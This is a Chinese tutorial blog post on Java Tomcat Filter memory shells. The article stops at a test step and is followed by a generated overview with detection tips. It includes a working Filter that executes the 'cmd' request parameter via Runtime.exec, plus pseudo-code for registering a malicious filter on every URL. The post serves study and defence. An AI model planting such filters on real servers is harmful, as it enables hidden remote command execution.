java Filter内存马分析

本文探讨了Java Web中的Filter内存马,介绍了其概念、环境搭建、Filter内存马的探索,包括Tomcat Filter的执行流程和攻击思路分析。通过分析,展示了如何动态注册Filter马并编写exp,强调了其在攻防中的隐蔽性和危害性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

0x01 什么是Filter马

0x02 环境搭建

0x03 Filter内存马探索

1.tomcat Filter 的流程分析

2.攻击思路分析

0x04 Filter内存马exp编写


本文由掌控安全学院 - xilitter 投稿

知识基础:

刚开始内存马的这块学习与反序列化并无太大关系,反而与javaweb,tomcat联系更加紧密。所以在学习内存马之前需要先了解JSP,java web的三大件,Servlet,Filter,Listener的基本知识和工作流程和Tomcat 架构的相关内容。

0x01 什么是Filter马

内存马就是无文件木马,无文件落地,它通常会存在进程,内存或者java虚拟机中,特点更加隐蔽,难以排查,并且也难以删除。而今天学习的Filter内存马是传统web应用型内存马,主要将恶意代码注入到过滤器中,当过滤器拦截servlet请求的参数时,过滤器中的恶意代码就会执行。

0x02 环境搭建

首先配置一个 servlet 的web项目,
 

图片


然后一直点下一步就好了,它会自动帮我们生成一个简单的servlet
pom.xml中导入tomcat相关依赖

<dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>9.0.38</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-websocket</artifactId>
            <version>9.0.38</version>
        </dependency>

方便之后调试代码,在这之后我们创建一个自定义的Filter过滤器

package com.example.memoryhorse;
import javax.servlet.*;
import java.io.IOException;

public class MyFilter implements Filter{
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤功能");
        servletRequest.setCharacterEncoding("utf-8");
        servletResponse.setCharacterEncoding("utf-8");
        servletResponse.setContentType("text/html;charset=UTF-8");
        filterChain.doFilter(servletRequest,servletResponse);
        System.out.println(servletRequest.getParameter("cmd"));
        Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));
    }
}

重写了doFilter方法,里面添加恶意代码,接收cmd参数,执行任意命令。web.xml中配置相关参数

<filter>
    <filter-name>MyFilter</filter-name>
    <filter-class>com.example.memoryhorse.MyFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>MyFilter</filter-name>
    <url-pattern>/MyFilter</url-pattern>
</filter-mapping>

这里我定义的是/MyFilter路由,在访问这个路由时,就会被我们自定义的过滤器拦截

0x03 Filter内存马探索

这个时候是不是就有点像内存马的样子,我们注册了一个恶意的 /MyFilter 路由,访问这个路由可以执行任意代码。测试一下
 

### Servlet 内存实现 内存是一种高级的Web攻击技术,在不留下持久化痕迹的情况下,通过向Java Web应用容器(如Tomcat)中的Servlet组件注入恶意代码来获取对服务器的控制权。对于基于Servlet API的内存而言,其核心在于动态创建并注册恶意的`Servlet`, `Filter` 或者 `Listener`实例。 #### 动态创建与注册过程 为了使恶意逻辑能够在每次HTTP请求到来时被执行,需要满足两个主要条件: - **动态创建对象**:使用反射机制或其他方式即时生成新的类定义,并将其加载至JVM中运行。 - **注册到HTTP处理流程**:确保新创建的对象可以参与到正常的HTTP请求响应链路里去[^3]。 例如,可以通过修改现有的ClassLoaders行为或者利用某些框架特性绕过标准的应用部署流程完成上述操作。 ```java // 创建一个匿名内部类作为恶意过滤器 Filter maliciousFilter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {} @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { // 执行恶意命令... chain.doFilter(request,response); } @Override public void destroy() {} }; // 将这个filter添加到当前上下文中 ServletContext context = ...; context.addFilter("malicious", maliciousFilter).addMappingForUrlPatterns(null ,true,"/*"); ``` 这段伪代码展示了如何在一个已有的应用程序内植入一个新的过滤器实例,从而影响所有的URL路径访问。 ### 检测与防护措施 由于内存不会在磁盘上留下任何物理文件,传统依赖于静态扫描的方法难以发现这类威胁。因此,有效的检测策略应该集中在以下几个方面: - **异常行为监控**:关注那些不符合常规模式的行为特征,比如突然增加的新线程、未预期的服务端口开放或是频繁的数据传输活动等[^4]。 - **日志审计**:仔细审查服务启动期间的日志记录,特别是有关类加载事件的信息;同时也要留意是否存在可疑的API调用序列。 - **内存镜像分析**:定期抓取正在运行进程的工作集副本进行离线检查,寻找隐藏其中的潜在风险点。 至于预防性的保护举措,则建议采取如下几项行动: - 加强权限管理,限制不必要的功能暴露给外部网络; - 应用最新的补丁更新以修复可能存在的漏洞; - 部署专门的安全产品,如入侵检测系统(IDS),它们往往具备更敏锐感知能力用于识别未知类型的攻击尝试。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值